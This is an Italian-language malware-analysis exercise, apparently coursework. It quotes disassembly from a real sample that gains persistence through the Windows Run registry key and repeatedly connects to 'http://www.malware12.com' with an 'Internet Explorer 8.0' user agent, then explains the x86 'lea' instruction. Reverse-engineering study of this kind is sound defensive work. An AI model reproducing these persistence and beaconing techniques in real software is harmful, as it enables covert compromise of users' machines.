

Obiettivo: Con riferimento all'estratto di codice di un Malware reale, dato nell'immagine seguente. Trovare come il Malware ottiene la persistenza, identificare il Client software utilizzato dal Malware, identificare l'URL al quale il Malware tenta di di connettersi e infine spiegare il funzionamento dell'istruzione Assembly "lea".

```

0040286F  push    2                ; samDesired
00402871  push    eax              ; ulOptions
00402872  push    offset SubKey    ; "Software\\Microsoft\\Windows\\CurrentVersion\\Run"
00402877  push    HKEY_LOCAL_MACHINE ; hKey
0040287C  call    esi              ; RegOpenKeyExW
0040287E  test    eax, eax
00402880  jnz     short loc_4028C5
00402882
00402882  loc_402882:
00402882  lea     ecx, [esp+424h+Data]
00402886  push    ecx              ; lpString
00402887  mov     bl, 1
00402889  call    ds:lstrlenW
0040288F  lea     edx, [eax+eax+2]
00402893  push    edx              ; cbData
00402894  mov     edx, [esp+428h+hKey]
00402898  lea     eax, [esp+428h+Data]
0040289C  push    eax              ; lpData
0040289D  push    1                ; dwType
0040289F  push    0                ; Reserved
004028A1  lea     ecx, [esp+434h+ValueName]
004028A8  push    ecx              ; lpValueName
004028A9  push    edx              ; hKey
004028AA  call    ds:RegSetValueExW

```

La chiamata di Funzione **RegOpenKeyExW** apre una chiave di registro per aggiungere un valore in modo tale da ottenere una **Persistenza**.
I parametri sono passati sullo Stak dall'istruzione Push sopra.

```

.text:00401150 ; SUBROUTINE
.text:00401150
.text:00401150 ; DWORD __stdcall StartAddress(LPVOID)
.text:00401150 StartAddress proc near ; DATA XREF: sub_401040+EC0
.text:00401150     push    esi
.text:00401151     push    edi
.text:00401152     push    0                ; dwFlags
.text:00401154     push    0                ; lpszProxyBypass
.text:00401156     push    0                ; lpszProxy
.text:00401158     push    1                ; dwAccessType
.text:0040115A     push    offset szAgent    ; "Internet Explorer 8.0"
.text:0040115F     call    ds:InternetOpenA
.text:00401165     mov     edi, ds:InternetOpenURL
.text:00401168     mov     esi, eax
.text:0040116D
.text:0040116D  loc_40116D:
.text:0040116D     push    0                ; dwContext
.text:0040116F     push    80000000h         ; dwFlags
.text:00401174     push    0                ; dwHeadersLength
.text:00401176     push    0                ; lpszHeaders
.text:00401178     push    offset szUrl      ; "http://www.malware12.com"
.text:0040117D     push    esi              ; hInternet
.text:0040117E     call    edi              ; InternetOpenURLA
.text:00401180     jmp     short loc_40116D
.text:00401180 StartAddress endp

```

Client Software utilizzato dal Malware.

L'Url al quale si connette il Malware

L'istruzione **lea** carica in un registro l'indirizzo effettivo di una certa variabile, consente di fare operazioni in linea che con **mov** non puoi fare. Lo scopo di lea è farti risparmiare istruzioni rispetto all'uso di mov quando lavori con gli offset, perché puoi fare operazioni in linea, anche molto complesse